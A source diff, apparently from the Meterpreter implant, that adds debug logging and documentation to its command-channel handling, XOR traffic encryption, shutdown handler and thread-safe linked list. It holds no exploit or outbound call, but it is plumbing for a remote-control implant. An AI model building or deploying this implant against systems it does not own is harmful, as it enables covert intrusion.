/*!
|
||||
* @brief Pointer to the routine that will be called on the _current thread_.
|
||||
* @remark If this function is specified then it will be invoked on the current server
|
||||
* thread rather than having a new thread allocated to it for processing.
|
||||
* The result of this routine will indicate whether the server should continue.
|
||||
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
|
||||
*/
|
||||
INLINE_DISPATCH_ROUTINE inline_handler;
|
||||
|
||||
/*! @brief Array of types that match the expected arguments for this response/request routine. */
|
||||
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
|
||||
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
|
||||
/*! @brief The number of entries in the \c argumentTypes array. */
|
||||
DWORD numArgumentTypes;
|
||||
DWORD numArgumentTypes;
|
||||
} PacketDispatcher;
|
||||
|
||||
/*!
|
||||
@ -75,11 +100,6 @@ LINKAGE DWORD command_deregister(Command *command);
|
||||
|
||||
LINKAGE VOID command_join_threads( VOID );
|
||||
|
||||
LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread );
|
||||
//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
|
||||
//LINKAGE DWORD command_process_remote_loop(Remote *remote);
|
||||
|
||||
LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet);
|
||||
LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet);
|
||||
LINKAGE BOOL command_handle( Remote *remote, Packet *packet );
|
||||
|
||||
#endif
|
||||
|
@ -1,15 +1,5 @@
|
||||
#include "common.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
/* it appears extern'd globals screw up the posix build because the linker
|
||||
* fails to find them and causes metsrv to exit.
|
||||
* - egypt
|
||||
*/
|
||||
|
||||
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
|
||||
extern THREAD * serverThread;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* core_channel_open
|
||||
* -----------------
|
||||
@ -31,9 +21,10 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[CHANNEL] Opening new channel for packet %p", packet );
|
||||
|
||||
// If the channel open request had a specific channel type
|
||||
if ((channelType = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_CHANNEL_TYPE)))
|
||||
if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
@ -42,28 +33,36 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
|
||||
// Get any flags that were supplied
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
|
||||
dprintf( "[CHANNEL] Opening %s %u", channelType, flags );
|
||||
|
||||
// Allocate a response
|
||||
response = packet_create_response(packet);
|
||||
|
||||
// Did the response allocation fail?
|
||||
if ((!response) ||
|
||||
(!(newChannel = channel_create(0, flags))))
|
||||
if ((!response) || (!(newChannel = channel_create(0, flags))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf( "[CHANNEL] Opened %s %u", channelType, flags );
|
||||
|
||||
// Get the channel class and set it
|
||||
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
|
||||
|
||||
dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );
|
||||
|
||||
// Add the new channel identifier to the response
|
||||
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
|
||||
channel_get_id(newChannel))) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
// Transmit the response
|
||||
dprintf( "[CHANNEL] Sending response for %s", channelType );
|
||||
res = packet_transmit(remote, response, NULL);
|
||||
|
||||
dprintf( "[CHANNEL] Done" );
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
@ -565,9 +564,10 @@ DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
|
||||
NativeChannelOps *native = (NativeChannelOps *)&channel->ops;
|
||||
|
||||
// Check to see if this channel has a registered interact handler
|
||||
if (native->interact)
|
||||
result = native->interact(channel, packet, native->context,
|
||||
interact);
|
||||
dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context );
|
||||
if (native->interact) {
|
||||
result = native->interact(channel, packet, native->context, interact);
|
||||
}
|
||||
}
|
||||
|
||||
// Set the channel's interactive state
|
||||
@ -615,29 +615,23 @@ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* core_shutdown
|
||||
* -----------------
|
||||
*
|
||||
*/
|
||||
DWORD remote_request_core_shutdown(Remote *remote, Packet *packet)
|
||||
DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult )
|
||||
{
|
||||
Channel *channel = NULL;
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = packet_create_response( packet );
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
// Acknowledge the shutdown request
|
||||
packet_add_tlv_bool(response, TLV_TYPE_BOOL, TRUE);
|
||||
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(result, remote, response);
|
||||
packet_transmit_response( result, remote, response );
|
||||
|
||||
#ifdef _WIN32
|
||||
// see note about posix above - egypt
|
||||
dprintf("[SHUTDOWN] Shutting down the Meterpreter thread 1 (killing the main thread)...");
|
||||
thread_kill( serverThread );
|
||||
#endif
|
||||
return result;
|
||||
*pResult = result;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
@ -159,6 +159,7 @@ VOID channel_destroy(Channel *channel, Packet *request)
|
||||
lock_destroy( channel->lock );
|
||||
|
||||
// Destroy the channel context
|
||||
dprintf( "[CHANNEL] Free up the channel context 0x%p", channel );
|
||||
free(channel);
|
||||
}
|
||||
|
||||
@ -445,13 +446,16 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
|
||||
length);
|
||||
}
|
||||
else if ((!strcmp(method, "core_channel_close")) &&
|
||||
(comp->routine.close))
|
||||
(comp->routine.close)) {
|
||||
dprintf( "[CHANNEL] freeing up the completion context" );
|
||||
res = comp->routine.close(remote, channel, comp->context, result);
|
||||
}
|
||||
else if ((!strcmp(method, "core_channel_interact")) &&
|
||||
(comp->routine.interact))
|
||||
res = comp->routine.interact(remote, channel, comp->context, result);
|
||||
|
||||
// Deallocate the completion context
|
||||
dprintf( "[CHANNEL] freeing up the completion context" );
|
||||
free(comp);
|
||||
|
||||
return res;
|
||||
|
@ -46,9 +46,6 @@ int current_unix_timestamp(void) {
|
||||
|
||||
int debugging_enabled;
|
||||
|
||||
/*
|
||||
*/
|
||||
|
||||
/*!
|
||||
* @brief Output a debug string to the debug console.
|
||||
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||
|
@ -161,7 +161,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
|
||||
#include <wininet.h>
|
||||
|
||||
/*! @brief When defined, debug output is enabled. */
|
||||
/*! @brief When defined, debug output is enabled on Windows builds. */
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
@ -171,18 +171,18 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
#endif
|
||||
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
|
||||
|
||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
/*! @brief Close a handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
|
||||
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
/*!
|
||||
|
@ -1,16 +1,18 @@
|
||||
/*!
|
||||
* @file xor.c
|
||||
* @brief Definitions of functions that perform XOR encryption.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
#define TLV_TYPE_XOR_KEY \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
0, \
|
||||
1)
|
||||
#define TLV_TYPE_XOR_KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, 0, 1)
|
||||
|
||||
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength);
|
||||
|
||||
/*
|
||||
* Populates the crypto context's handlers for XOR
|
||||
/*!
|
||||
* @brief Populates the crypto context's handlers for XOR.
|
||||
* @param context Pointer to the crypto context to populate.
|
||||
* @returns Always returns \c ERROR_SUCCESS.
|
||||
*/
|
||||
DWORD xor_populate_handlers(CryptoContext *context)
|
||||
{
|
||||
@ -22,8 +24,14 @@ DWORD xor_populate_handlers(CryptoContext *context)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Processes a negotiate request that has been sent from the remote endpoint
|
||||
/*!
|
||||
* @brief Processes a negotiate request that has been sent from the remote endpoint.
|
||||
* @param context Pointer to the crypto context to use.
|
||||
* @param request Pointer to the request \c Packet.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Operation completed successfully.
|
||||
* @retval ERROR_INVALID_PARAMETER One of the expected TLV parameters was
|
||||
* missing from the \c request.
|
||||
*/
|
||||
DWORD xor_process_negotiate_request(CryptoContext *context,
|
||||
Packet *request)
|
||||
@ -49,8 +57,16 @@ DWORD xor_process_negotiate_request(CryptoContext *context,
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Encrypts the supplied buffer
|
||||
/*!
|
||||
* @brief Encrypts the supplied buffer using the supplied crypto context.
|
||||
* @param context Pointer to the crypto context to use for encryption.
|
||||
* @param inBuffer Buffer to encrypt.
|
||||
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
|
||||
* @param outBuffer Pointer that will receive the output buffer.
|
||||
* @param outBufferLength Pointer that will receive the output buffer length.
|
||||
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
|
||||
* @sa xor_crypt
|
||||
* @sa xor_decrypt
|
||||
*/
|
||||
DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength)
|
||||
@ -59,8 +75,17 @@ DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
outBufferLength);
|
||||
}
|
||||
|
||||
/*
|
||||
* Decrypts the supplied buffer
|
||||
/*!
|
||||
* @brief Decrypts the supplied buffer using the supplied crypto context.
|
||||
* @param context Pointer to the crypto context to use for decryption.
|
||||
* @param inBuffer Buffer to decrypt.
|
||||
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
|
||||
* @param outBuffer Pointer that will receive the output buffer.
|
||||
* @param outBufferLength Pointer that will receive the output buffer length.
|
||||
* @returns Indication of success or failure.
|
||||
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
|
||||
* @sa xor_crypt
|
||||
* @sa xor_encrypt
|
||||
*/
|
||||
DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength)
|
||||
@ -69,8 +94,19 @@ DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
outBufferLength);
|
||||
}
|
||||
|
||||
/*
|
||||
* Performs an XOR operation on every 4 byte block of the supplied buffer
|
||||
/*!
|
||||
* @brief Performs an XOR operation on every 4 byte block of the supplied buffer.
|
||||
* @param context Pointer to the crypto context to use for decryption.
|
||||
* @param inBuffer Buffer to decrypt.
|
||||
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
|
||||
* @param outBuffer Pointer that will receive the output buffer.
|
||||
* @param outBufferLength Pointer that will receive the output buffer length.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Memory allocation failed.
|
||||
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
|
||||
* @sa xor_decrypt
|
||||
* @sa xor_encrypt
|
||||
*/
|
||||
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength)
|
||||
|
@ -1,3 +1,7 @@
|
||||
/*!
|
||||
* @file xor.h
|
||||
* @brief Declarations for functions that perform XOR encryption.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H
|
||||
#define _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H
|
||||
|
||||
|
@ -1,167 +1,192 @@
|
||||
/*!
|
||||
* @file list.c
|
||||
* @brief Definitions for functions that operate on lists.
|
||||
* @details An implementation of a simple thread safe double linked list structure. Can be used as either
|
||||
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
|
||||
* performing a group of actions on a list based on results from list actions, acquire the list
|
||||
* lock before the group of actions and release lock when done.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* An implementation of a simple thread safe double linked list structure. Can be used as either
|
||||
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
|
||||
* performing a group of actions on a list based on results from list actions, acquire the list
|
||||
* lock before the group of actions and release lock when done.
|
||||
/*!
|
||||
* @brief Create a thread-safe double linked list.
|
||||
* @returns A new instance of a linked list.
|
||||
* @retval NULL Indicates a memory allocation failure.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Create a thread safe double linked list.
|
||||
*/
|
||||
LIST * list_create( VOID )
|
||||
LIST * list_create(VOID)
|
||||
{
|
||||
LIST * list = (LIST *)malloc( sizeof(LIST) );
|
||||
if( list != NULL )
|
||||
LIST * list = (LIST*)malloc(sizeof(LIST));
|
||||
if (list != NULL)
|
||||
{
|
||||
list->start = NULL;
|
||||
list->end = NULL;
|
||||
list->end = NULL;
|
||||
list->count = 0;
|
||||
list->lock = lock_create();
|
||||
|
||||
if( list->lock == NULL )
|
||||
list->lock = lock_create();
|
||||
|
||||
if (list->lock == NULL)
|
||||
{
|
||||
list_destroy( list );
|
||||
list_destroy(list);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy an existing linked list. This destroys all nodes and the list itself
|
||||
* but not the data held in the linked list. This is the responsibility of the
|
||||
* caller to destroy.
|
||||
/*!
|
||||
* @brief Destroy an existing linked list.
|
||||
* @details This destroys all nodes and the list itself but not the data held in the
|
||||
* linked list. This is the responsibility of the caller to destroy.
|
||||
* @param list The \c LIST instance to destroy.
|
||||
*/
|
||||
VOID list_destroy( LIST * list )
|
||||
VOID list_destroy(LIST * list)
|
||||
{
|
||||
NODE * current_node;
|
||||
NODE * next_node;
|
||||
|
||||
if( list != NULL )
|
||||
if (list != NULL)
|
||||
{
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
while (current_node != NULL)
|
||||
{
|
||||
next_node = current_node->next;
|
||||
|
||||
next_node = current_node->next;
|
||||
|
||||
current_node->next = NULL;
|
||||
|
||||
|
||||
current_node->prev = NULL;
|
||||
|
||||
free( current_node );
|
||||
free(current_node);
|
||||
|
||||
current_node = next_node;
|
||||
}
|
||||
|
||||
list->count = 0;
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
lock_destroy( list->lock );
|
||||
lock_release(list->lock);
|
||||
|
||||
free( list );
|
||||
lock_destroy(list->lock);
|
||||
|
||||
free(list);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Return the number of items in the list. If using this coung value to itterate through the list
|
||||
* with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards.
|
||||
/*!
|
||||
* @brief Get the number of items in the list.
|
||||
* @param list The \c LIST to get a count of.
|
||||
* @returns The number of elements in the list.
|
||||
* @remark If using this coung value to itterate through the list with `list_get`, acquire
|
||||
* the lists lock before the `list_count/list_get` block and release it afterwards.
|
||||
*/
|
||||
DWORD list_count( LIST * list )
|
||||
DWORD list_count(LIST * list)
|
||||
{
|
||||
DWORD count = 0;
|
||||
|
||||
if( list != NULL )
|
||||
if (list != NULL)
|
||||
{
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
count = list->count;
|
||||
|
||||
lock_release( list->lock );
|
||||
lock_release(list->lock);
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the data value held in the list and a specified index. This will perform a linear search from
|
||||
* the begining of the list returning the data value if found or NULL if not found.
|
||||
/*!
|
||||
* @brief Get the data value held in the list and a specified index.
|
||||
* @param list Pointer to the \c LIST to get the element from.
|
||||
* @param index Index of the element to get;
|
||||
* @returns Pointer to the item in the list.
|
||||
* @retval NULL Indicates the element doesn't exist in the list.
|
||||
* @remark This will perform a linear search from the beginning of the list.
|
||||
*/
|
||||
LPVOID list_get( LIST * list, DWORD index )
|
||||
LPVOID list_get(LIST * list, DWORD index)
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
LPVOID data = NULL;
|
||||
NODE * current_node = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
if (list == NULL)
|
||||
return NULL;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
if( list->count <= index )
|
||||
if (list->count <= index)
|
||||
{
|
||||
lock_release( list->lock );
|
||||
lock_release(list->lock);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
while (current_node != NULL)
|
||||
{
|
||||
if( index == 0 )
|
||||
if (index == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
current_node = current_node->next;
|
||||
|
||||
index--;
|
||||
}
|
||||
|
||||
if( current_node != NULL )
|
||||
if (current_node != NULL)
|
||||
{
|
||||
data = current_node->data;
|
||||
}
|
||||
|
||||
lock_release(list->lock);
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
/*
|
||||
* Adds a data item onto the end of the list.
|
||||
/*!
|
||||
* @brief Add a data item onto the end of the list.
|
||||
* @param list Pointer to the \c LIST to add the item to.
|
||||
* @param data The data that is to be added to the list.
|
||||
* @returns Indication of success or failure.
|
||||
* @sa list_push
|
||||
*/
|
||||
BOOL list_add( LIST * list, LPVOID data )
|
||||
BOOL list_add(LIST * list, LPVOID data)
|
||||
{
|
||||
return list_push( list, data );
|
||||
return list_push(list, data);
|
||||
}
|
||||
|
||||
/*
|
||||
* Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first.
|
||||
/*!
|
||||
* @brief Internal function to remove a node from a list.
|
||||
* @param list Pointer to the \c LIST containing \c node.
|
||||
* @param node Pointer to the \c NOTE to remove.
|
||||
* @returns Indication of success or failure.
|
||||
* @remark Assumes caller has aquired the appropriate lock first.
|
||||
*/
|
||||
BOOL list_remove_node( LIST * list, NODE * node )
|
||||
BOOL list_remove_node(LIST * list, NODE * node)
|
||||
{
|
||||
if( list == NULL || node == NULL)
|
||||
if (list == NULL || node == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if( list->count - 1 == 0 )
|
||||
if (list->count - 1 == 0)
|
||||
{
|
||||
list->start = NULL;
|
||||
list->end = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
if( list->start == node )
|
||||
if (list->start == node)
|
||||
{
|
||||
list->start = list->start->next;
|
||||
list->start->prev = NULL;
|
||||
}
|
||||
else if( list->end == node )
|
||||
else if (list->end == node)
|
||||
{
|
||||
list->end = list->end->prev;
|
||||
list->end->next = NULL;
|
||||
}
|
||||
else
|
||||
else
|
||||
{
|
||||
node->next->prev = node->prev;
|
||||
node->prev->next = node->next;
|
||||
@ -171,67 +196,81 @@ BOOL list_remove_node( LIST * list, NODE * node )
|
||||
list->count -= 1;
|
||||
|
||||
node->next = NULL;
|
||||
|
||||
|
||||
node->prev = NULL;
|
||||
|
||||
free( node );
|
||||
free(node);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed.
|
||||
/*!
|
||||
* @brief Remove a given data item from the list.
|
||||
* @param list Pointer to the \c LIST to remove the item from.
|
||||
* @param data The data that is to be removed from the list.
|
||||
* @remark Assumes data items are unqique as only the first occurrence is removed.
|
||||
* @returns Indication of success or failure.
|
||||
* @sa list_remove_node
|
||||
*/
|
||||
BOOL list_remove( LIST * list, LPVOID data )
|
||||
BOOL list_remove(LIST * list, LPVOID data)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
BOOL result = FALSE;
|
||||
NODE * current_node = NULL;
|
||||
|
||||
if( list == NULL || data == NULL )
|
||||
if (list == NULL || data == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
while (current_node != NULL)
|
||||
{
|
||||
if( current_node->data == data )
|
||||
if (current_node->data == data)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
current_node = current_node->next;
|
||||
}
|
||||
|
||||
result = list_remove_node( list, current_node );
|
||||
result = list_remove_node(list, current_node);
|
||||
|
||||
lock_release(list->lock);
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a list item at the specified index.
|
||||
/*!
|
||||
* @brief Remove a list item at the specified index.
|
||||
* @param list Pointer to the \c LIST to remove the item from.
|
||||
* @param index Index of the item to remove.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
BOOL list_delete( LIST * list, DWORD index )
|
||||
BOOL list_delete(LIST * list, DWORD index)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
LPVOID data = NULL;
|
||||
BOOL result = FALSE;
|
||||
LPVOID data = NULL;
|
||||
NODE * current_node = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
if (list == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
if( list->count > index )
|
||||
if (list->count > index)
|
||||
{
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
while (current_node != NULL)
|
||||
{
|
||||
if( index == 0 )
|
||||
if (index == 0)
|
||||
{
|
||||
result = list_remove_node( list, current_node );
|
||||
result = list_remove_node(list, current_node);
|
||||
break;
|
||||
}
|
||||
|
||||
@ -241,34 +280,39 @@ BOOL list_delete( LIST * list, DWORD index )
|
||||
}
|
||||
}
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
lock_release(list->lock);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Push a data item onto the end of the list.
|
||||
/*!
|
||||
* @brief Push a data item onto the end of the list.
|
||||
* @param list Pointer to the \c LIST to append the data to.
|
||||
* @param data Pointer to the data to append.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
BOOL list_push( LIST * list, LPVOID data )
|
||||
BOOL list_push(LIST * list, LPVOID data)
|
||||
{
|
||||
NODE * node = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
|
||||
if (list == NULL)
|
||||
return FALSE;
|
||||
|
||||
node = (NODE *)malloc( sizeof(NODE) );
|
||||
if( node == NULL )
|
||||
node = (NODE*)malloc(sizeof(NODE));
|
||||
if (node == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
node->data = data;
|
||||
node->next = NULL;
|
||||
node->prev = NULL;
|
||||
node->data = data;
|
||||
node->next = NULL;
|
||||
node->prev = NULL;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
if ( list->end != NULL )
|
||||
{
|
||||
list->end->next = node;
|
||||
if (list->end != NULL)
|
||||
{
|
||||
list->end->next = node;
|
||||
|
||||
node->prev = list->end;
|
||||
|
||||
@ -277,60 +321,70 @@ BOOL list_push( LIST * list, LPVOID data )
|
||||
else
|
||||
{
|
||||
list->start = node;
|
||||
list->end = node;
|
||||
list->end = node;
|
||||
}
|
||||
|
||||
list->count += 1;
|
||||
|
||||
lock_release( list->lock );
|
||||
lock_release(list->lock);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Pop a data value off the end of the list.
|
||||
/*!
|
||||
* @brief Pop a data value off the end of the list.
|
||||
* @param list Pointer to the \c LIST to pop the value from.
|
||||
* @returns The popped value.
|
||||
* @retval NULL Indicates no data in the list.
|
||||
*/
|
||||
LPVOID list_pop( LIST * list )
|
||||
LPVOID list_pop(LIST * list)
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
if (list == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
if( list->end != NULL )
|
||||
if (list->end != NULL)
|
||||
{
|
||||
data = list->end->data;
|
||||
|
||||
list_remove_node( list, list->end );
|
||||
list_remove_node(list, list->end);
|
||||
}
|
||||
|
||||
lock_release( list->lock );
|
||||
lock_release(list->lock);
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
/*
|
||||
* Pop a data value off the start of the list.
|
||||
/*!
|
||||
* @brief Pop a data value off the start of the list.
|
||||
* @param list Pointer to the \c LIST to shift the value from.
|
||||
* @returns The shifted value.
|
||||
* @retval NULL Indicates no data in the list.
|
||||
*/
|
||||
LPVOID list_shift( LIST * list )
|
||||
LPVOID list_shift(LIST * list)
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
if (list == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
lock_acquire( list->lock );
|
||||
lock_acquire(list->lock);
|
||||
|
||||
if( list->start != NULL )
|
||||
if (list->start != NULL)
|
||||
{
|
||||
data = list->start->data;
|
||||
|
||||
list_remove_node( list, list->start );
|
||||
list_remove_node(list, list->start);
|
||||
}
|
||||
|
||||
lock_release( list->lock );
|
||||
lock_release(list->lock);
|
||||
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
@ -1,45 +1,36 @@
|
||||
/*!
|
||||
* @file list.h
|
||||
* @brief Declarations for functions that operate on lists.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_LIST_H
|
||||
#define _METERPRETER_LIB_LIST_H
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*! @brief Container struct for data the lives in a list. */
|
||||
typedef struct _NODE
|
||||
{
|
||||
struct _NODE * next;
|
||||
struct _NODE * prev;
|
||||
LPVOID data;
|
||||
struct _NODE * next; ///< Pointer to the next node in the list.
|
||||
struct _NODE * prev; ///< Pointer to the previous node in the list.
|
||||
LPVOID data; ///< Reference to the data in the list node.
|
||||
} NODE;
|
||||
|
||||
/*! @brief Container structure for a list instance. */
|
||||
typedef struct _LIST
|
||||
{
|
||||
NODE * start;
|
||||
NODE * end;
|
||||
DWORD count;
|
||||
LOCK * lock;
|
||||
NODE * start; ///< Pointer to the first node in the list.
|
||||
NODE * end; ///< Pointer to the last node in the list.
|
||||
DWORD count; ///< Count of elements in the list.
|
||||
LOCK * lock; ///< Reference to the list's synchronisation lock.
|
||||
} LIST;
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
LIST * list_create( VOID );
|
||||
|
||||
